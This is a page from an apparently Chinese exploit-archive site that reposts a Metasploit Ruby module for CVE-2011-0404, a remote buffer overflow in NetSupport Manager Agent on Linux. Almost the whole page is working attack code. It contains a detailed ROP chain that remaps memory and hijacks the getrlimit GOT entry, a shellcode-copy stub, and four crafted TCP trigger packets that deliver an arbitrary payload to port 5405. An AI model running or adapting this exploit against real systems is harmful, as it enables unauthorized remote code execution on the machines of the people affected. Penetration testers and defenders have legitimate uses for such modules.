首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NetSupport Manager Agent Remote Buffer Overflow
来源:http://www.metasploit.com 作者:jduck 发布时间:2011-03-07  

##
# $Id: netsupport_manager_agent.rb 11868 2011-03-03 01:04:47Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NetSupport Manager Agent Remote Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in NetSupport Manager Agent. It
    uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack.
   },
   'Author'         =>
    [
     'Luca Carettoni (@_ikki)',  # original discovery / exploit
     'Evan',  # ported from exploit-db exploit
     'jduck'  # original proftpd_iac ROP, minor cleanups
    ],
   'Arch'           => ARCH_X86,
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11868 $',
   'References'     =>
    [
     [ 'CVE', '2011-0404' ],
     [ 'OSVDB', '70408' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/15937/' ]
    ],
   'Privileged'     => true,
   'Platform'       => 'linux',
   'Payload'        =>
    {
     'Space'    => 0x975,
     'BadChars' => "",
     'DisableNops'  => true,
    },
   'Targets'        =>
    [
     [ 'linux',
      {
       'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;;
       'Pad' => 975,
       'RopStack' =>
        [
         ### mmap isn't used in the binary so we need to resolve it in libc
         0x00041160, # mmap64 - localtime
         0xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect
         0xcccccccc,
         0x08084662, # add    DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;;
         0xcccccccc,
         0xcccccccc,
         0x080541e4, # localtime@plt (now mmap64)
         0x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;;
         0, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments
         0x0, # unused
         0x08066332, # pop edx; pop ebx; pop ebp ;;
         "\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx
         0xcccccccc,
         0xcccccccc,
         0x080555c4, # mov [eax] edx ; pop ebp ;;
         0xcccccccc,
         #0x0807385a, # push eax ; adc al 0x5d ;;

         ### this is  the stub used to copy shellcode from the stack to
         ### the newly mapped executable region
         #\x8D\xB4\x24\x7D\xFB\xFF      # lea esi,[dword esp-0x483]
         #\x8D\x78\x12                  # lea edi,[eax+0x12]
         #\x6A\x7F                      # push byte +0x7f
         #\x59                          # pop ecx
         #\xF3\xA5                      # rep movsd

         ### there are no good jmp eax so  overwrite getrlimits GOT entry
         0x0805591b, # pop ebx; pop ebp ;;
         0x08092d68 - 0x4, # 08092d68  0002f007 R_386_JUMP_SLOT   00000000   getrlimit
         0x1,        # becomes ebp
         0x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;;
         0xfb7c24b4, # become eb
         0x01,
         0x08054ac4, # <getrlimit@plt>
         0x0805591b, # pop ebx; pop ebp ;;
         #0xffff8d78, # become ebx
         0x788dffff,
         0x2,
         0x08054ac4, # <getrlimit@plt>
         0x0805591b, # pop ebx; pop ebp ;;
         0x597f6a12,
         0x3,
         0x08054ac4, # <getrlimit@plt>
         0x0805591b, # pop ebx; pop ebp ;;
         0x9090a5f2,
         0x4,
         0x08054ac4, # <getrlimit@plt>
         0x0805591b, # pop ebx; pop ebp ;;
         0x8d909090,
         0x0,
         0x08054ac4, # <getrlimit@plt>
         0xcccccccc,
         0x01010101,
        ]
      }
     ]
    ],
   'DisclosureDate' => 'Feb 12 2010',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(5405),
   ], self.class)
 end

 def exploit
  connect

  #pop_eax_ebx ;
  #0x8084662 # add    DWORD PTR [ebx+0x5e5b1cc4],eax ;;
  triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

  triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" +
   "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00"

  triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" +
   "\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" +
   "\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + #pleasure trail
   #"\xcc" +
   "\x90" +
   payload.encoded +
   "\xcc" * (target['Pad'] - payload.encoded.length) +
   [target.ret].pack('V')

  new = ''
  if target['RopStack']
   new << target['RopStack'].map { |e|
    if e == 0xcccccccc
     rand_text(4).unpack('V').first
    else
     e
    end
   }.pack('V*')
  end

  triggerC << new
  triggerC << "\x00" * 4
  triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"
  triggerC << "\x30\x00\x31\x30\x00\x00"

  triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" +
   "\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" +
   "\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" +
   "\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00"

  print_status("Sending A")
  sock.put(triggerA)
  select(nil, nil, nil, 1)

  print_status("Sending B")
  sock.put(triggerB)
  select(nil, nil, nil, 1)

  print_status("Sending C")
  sock.put(triggerC)
  select(nil, nil, nil, 1)

  print_status("Sending D")
  sock.put(triggerD)
  select(nil, nil, nil, 1)

  disconnect
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Citrix Access Gateway Command
·PHP Speedy <= 0.5.2 Wordpress
·JBoss Application Server Remot
·TIOD v1.3.3 for iPhone / iPod
·Comtrend ADSL Router CT-5367 C
·iPod Touch/iPhone iFileExplore
·cChatBox for vBulletin 3.6.8 a
·Vtiger CRM 5.0.4 Pre-Auth Loca
·Magic Music Editor Buffer Over
·Allied Telesyn TFTP Server 1.9
·Linux Kernel <= 2.6.37 Local K
·win32 eggsearch shellcode (33
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved